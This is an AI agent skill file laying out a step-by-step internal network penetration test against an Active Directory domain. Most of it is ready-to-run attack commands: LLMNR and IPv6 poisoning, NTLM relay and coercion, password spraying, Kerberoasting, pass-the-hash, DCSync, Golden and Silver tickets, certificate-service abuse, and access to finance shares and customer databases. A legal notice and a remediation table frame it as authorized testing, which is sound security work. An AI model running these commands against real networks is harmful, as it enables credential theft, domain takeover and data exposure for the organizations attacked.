--- name: conducting-internal-network-penetration-test-b8ee89434c59 description: Execute an internal network penetration test simulating an insider threat or post-breach attacker to identify lateral movement paths, privilege escalation vectors, and sensitive data exposure within the corporate network. domain: cybersecurity subdomain: penetration-testing tags: - internal-pentest - lateral-movement - privilege-escalation - Responder - Impacket - assumed-breach - network-security version: '1.0' author: mahipal license: Apache-2.0 d3fend_techniques: - Application Protocol Command Analysis - Network Isolation - Network Traffic Analysis - Client-server Payload Profiling - Network Traffic Community Deviation nist_csf: - ID.RA-01 - ID.RA-06 - GV.OV-02 - DE.AE-07 mitre_attack: - T1046 - T1018 - T1021 - T1210 --- # Conducting Internal Network Penetration Test ## Overview An internal network penetration test simulates an attacker who has already gained access to the internal network or a malicious insider. The tester operates from an "assumed breach" position — typically a standard domain workstation or network jack — and attempts lateral movement, privilege escalation, credential harvesting, and data exfiltration to determine the blast radius of a compromised endpoint. ## When to Use - When conducting security assessments that involve conducting internal network penetration test - When following incident response procedures for related security events - When performing scheduled security testing or auditing activities - When validating security controls through hands-on testing ## Prerequisites - Signed Rules of Engagement with internal network scope - Network access: physical Ethernet drop or VPN connection to internal VLAN - Standard domain user credentials (assumed breach model) or unauthenticated access - Testing laptop with Kali Linux, Impacket, Responder, BloodHound - Coordination with IT/SOC for monitoring and emergency contacts > **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws. ## Phase 1 — Network Discovery and Enumeration ### Initial Network Reconnaissance ```bash # Identify your own network position ip addr show ip route show cat /etc/resolv.conf # ARP scan for live hosts on local subnet arp-scan --localnet --interface eth0 # Nmap host discovery across internal ranges nmap -sn 10.0.0.0/8 --exclude 10.0.0.1 -oG internal_hosts.gnmap nmap -sn 172.16.0.0/12 -oG internal_hosts_172.gnmap nmap -sn 192.168.0.0/16 -oG internal_hosts_192.gnmap # Extract live hosts grep "Status: Up" internal_hosts.gnmap | awk '{print $2}' > live_hosts.txt # Port scan live hosts — top 1000 ports nmap -sS -sV -T4 -iL live_hosts.txt -oA internal_tcp_scan # Service-specific scans nmap -p 445 --open -iL live_hosts.txt -oG smb_hosts.gnmap nmap -p 3389 --open -iL live_hosts.txt -oG rdp_hosts.gnmap nmap -p 22 --open -iL live_hosts.txt -oG ssh_hosts.gnmap nmap -p 1433,3306,5432,1521,27017 --open -iL live_hosts.txt -oG db_hosts.gnmap ``` ### Active Directory Enumeration ```bash # Enumerate domain information with domain credentials # Using CrackMapExec / NetExec netexec smb 10.0.0.0/24 -u 'testuser' -p 'Password123' --shares netexec smb 10.0.0.0/24 -u 'testuser' -p 'Password123' --users netexec smb 10.0.0.0/24 -u 'testuser' -p 'Password123' --groups # LDAP enumeration ldapsearch -x -H ldap://10.0.0.5 -D "testuser@corp.local" -w "Password123" \ -b "DC=corp,DC=local" "(objectClass=user)" sAMAccountName memberOf # Enumerate Group Policy Objects netexec smb 10.0.0.5 -u 'testuser' -p 'Password123' --gpp-passwords netexec smb 10.0.0.5 -u 'testuser' -p 'Password123' --lsa # BloodHound data collection bloodhound-python -u 'testuser' -p 'Password123' -d corp.local -ns 10.0.0.5 -c all # Import JSON files into BloodHound GUI for attack path analysis # Enum4linux-ng for legacy enumeration enum4linux-ng -A 10.0.0.5 -u 'testuser' -p 'Password123' ``` ### Network Service Enumeration ```bash # SMB share enumeration smbclient -L //10.0.0.10 -U 'testuser%Password123' smbmap -H 10.0.0.10 -u 'testuser' -p 'Password123' -R # SNMP enumeration snmpwalk -v2c -c public 10.0.0.1 # DNS zone transfer attempt dig axfr corp.local @10.0.0.5 # NFS enumeration showmount -e 10.0.0.15 # MSSQL enumeration impacket-mssqlclient 'corp.local/testuser:Password123@10.0.0.20' -windows-auth ``` ## Phase 2 — Credential Attacks ### Network Credential Capture ```bash # Responder — LLMNR/NBT-NS/mDNS poisoning sudo responder -I eth0 -dwPv # Capture NTLMv2 hashes from Responder logs cat /usr/share/responder/logs/NTLMv2-*.txt # mitm6 — IPv6 DNS takeover sudo mitm6 -d corp.local # ntlmrelayx — relay captured credentials impacket-ntlmrelayx -tf smb_targets.txt -smb2support -socks # PetitPotam — coerce NTLM authentication python3 PetitPotam.py -u 'testuser' -p 'Password123' -d corp.local \ attacker_ip 10.0.0.5 ``` ### Password Attacks ```bash # Crack captured NTLMv2 hashes hashcat -m 5600 ntlmv2_hashes.txt /usr/share/wordlists/rockyou.txt \ -r /usr/share/hashcat/rules/best64.rule # Password spraying (careful with lockout policies) netexec smb 10.0.0.5 -u users.txt -p 'Spring2025!' --no-bruteforce netexec smb 10.0.0.5 -u users.txt -p 'Company2025!' --no-bruteforce # Kerberoasting — target service accounts impacket-GetUserSPNs 'corp.local/testuser:Password123' -dc-ip 10.0.0.5 \ -outputfile kerberoast_hashes.txt hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt # AS-REP Roasting — target accounts without pre-auth impacket-GetNPUsers 'corp.local/' -usersfile users.txt -dc-ip 10.0.0.5 \ -outputfile asrep_hashes.txt hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt ``` ## Phase 3 — Exploitation and Lateral Movement ### Lateral Movement Techniques ```bash # Pass-the-Hash with Impacket impacket-psexec 'corp.local/admin@10.0.0.30' -hashes :aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b # WMI execution impacket-wmiexec 'corp.local/admin:AdminPass123@10.0.0.30' # Evil-WinRM for PowerShell remoting evil-winrm -i 10.0.0.30 -u admin -p 'AdminPass123' # SMBExec impacket-smbexec 'corp.local/admin:AdminPass123@10.0.0.30' # RDP access xfreerdp /v:10.0.0.30 /u:admin /p:'AdminPass123' /cert-ignore /dynamic-resolution # SSH pivoting ssh -D 9050 user@10.0.0.40 proxychains nmap -sT -p 80,443,445,3389 10.10.0.0/24 ``` ### Privilege Escalation ```bash # Windows privilege escalation # Check for local admin via token impersonation meterpreter> getsystem meterpreter> run post/multi/recon/local_exploit_suggester # PowerShell-based privesc checks # Run PowerUp powershell -ep bypass -c "Import-Module .\PowerUp.ps1; Invoke-AllChecks" # Check for unquoted service paths wmic service get name,pathname,startmode | findstr /i /v "C:\Windows" | findstr /i /v """ # Linux privilege escalation ./linpeas.sh sudo -l find / -perm -4000 -type f 2>/dev/null cat /etc/crontab ``` ### Domain Escalation ```bash # DCSync attack (requires replication rights) impacket-secretsdump 'corp.local/domainadmin:DaPass123@10.0.0.5' -just-dc # Golden Ticket attack impacket-ticketer -nthash -domain-sid S-1-5-21-... -domain corp.local administrator # Silver Ticket attack impacket-ticketer -nthash -domain-sid S-1-5-21-... \ -domain corp.local -spn MSSQL/db01.corp.local administrator # ADCS exploitation (Certifried, ESC1-ESC8) certipy find -u 'testuser@corp.local' -p 'Password123' -dc-ip 10.0.0.5 certipy req -u 'testuser@corp.local' -p 'Password123' -target ca01.corp.local \ -template VulnerableTemplate -ca CORP-CA -upn administrator@corp.local ``` ## Phase 4 — Data Access and Impact Demonstration ```bash # Access sensitive file shares smbclient //10.0.0.10/Finance -U 'domainadmin%DaPass123' > dir > get Q4_Financial_Report.xlsx # Database access impacket-mssqlclient 'sa:DbPassword123@10.0.0.20' SQL> SELECT name FROM sys.databases; SQL> SELECT TOP 10 * FROM customers; # Extract proof of access (DO NOT exfiltrate real data) echo "PENTEST-PROOF-INTERNAL-$(date +%Y%m%d)" > /tmp/proof.txt # Document access chain # Initial Access -> Responder -> NTLMv2 crack -> Lateral to WS01 # -> Local admin -> Mimikatz -> DA creds -> DCSync -> Full domain compromise ``` ## Phase 5 — Reporting ### Attack Path Documentation ``` Attack Path 1: Domain Compromise via LLMNR Poisoning Step 1: LLMNR/NBT-NS poisoning captured NTLMv2 hash (T1557.001) Step 2: Hash cracked offline — user: jsmith, password: Welcome2025! Step 3: jsmith had local admin on WS042 — lateral movement via PsExec (T1021.002) Step 4: Mimikatz extracted DA credentials from WS042 memory (T1003.001) Step 5: DCSync with DA credentials — all domain hashes extracted (T1003.006) Impact: Complete domain compromise from unauthenticated network position ``` ### Findings Severity Matrix | Finding | CVSS | MITRE ATT&CK | Remediation | |---------|------|---------------|-------------| | LLMNR/NBT-NS poisoning | 8.1 | T1557.001 | Disable LLMNR/NBT-NS via GPO | | Kerberoastable service accounts | 7.5 | T1558.003 | Use gMSA, 25+ char passwords | | Local admin reuse | 8.4 | T1078 | Deploy LAPS, unique local admin passwords | | Weak domain passwords | 7.2 | T1110 | Enforce 14+ char minimum, blacklist common passwords | | Unrestricted DCSync | 9.8 | T1003.006 | Audit replication rights, implement tiered admin model | ## Tools Reference | Tool | Purpose | |------|---------| | Responder | LLMNR/NBT-NS/mDNS poisoning | | Impacket | AD attack suite (secretsdump, psexec, wmiexec, etc.) | | BloodHound | AD attack path visualization | | NetExec (CrackMapExec) | Network service enumeration and spraying | | Evil-WinRM | PowerShell remoting client | | Certipy | AD Certificate Services exploitation | | Mimikatz | Windows credential extraction | | Hashcat | Password hash cracking | | Nmap | Network scanning and enumeration | | LinPEAS/WinPEAS | Privilege escalation enumeration | ## References - Cobalt Internal Network Pentesting Methodology: https://docs.cobalt.io/methodologies/internal-network/ - MITRE ATT&CK Enterprise: https://attack.mitre.org/matrices/enterprise/ - PTES: http://www.pentest-standard.org/ - Impacket: https://github.com/fortra/impacket - BloodHound: https://github.com/BloodHoundAD/BloodHound --- Source attribution: hironow Original project: https://github.com/hironow/cyber/blob/20efb3a6a2a9e7ebbde38ed32325979866110540/.agents/skills/conducting-internal-network-penetration-test/SKILL.md License: Apache-2.0 License information: https://www.apache.org/licenses/LICENSE-2.0 Original upstream instructions; downloaded from Mega AI Hub. ## Upstream license notice Apache License Version 2.0, January 2004 http://www.apache.org/licenses/ TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 1. 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See the License for the specific language governing permissions and limitations under the License. # Mega AI Hub resource metadata Creator / publisher: hironow Original project: https://github.com/hironow/cyber/blob/20efb3a6a2a9e7ebbde38ed32325979866110540/.agents/skills/conducting-internal-network-penetration-test/SKILL.md Attribution basis: Source repository record Fields of work: Development & Engineering Roles: Security Engineer Specialties: DevOps, Testing Tools: Impacket, Responder, Kali Linux Country applicability: Country not specified Classification basis: Source catalog labels Instruction SHA-256: 1fb569618b7b800041949763acdd90d17807fa4fc0bfffc134302ce706c24eb3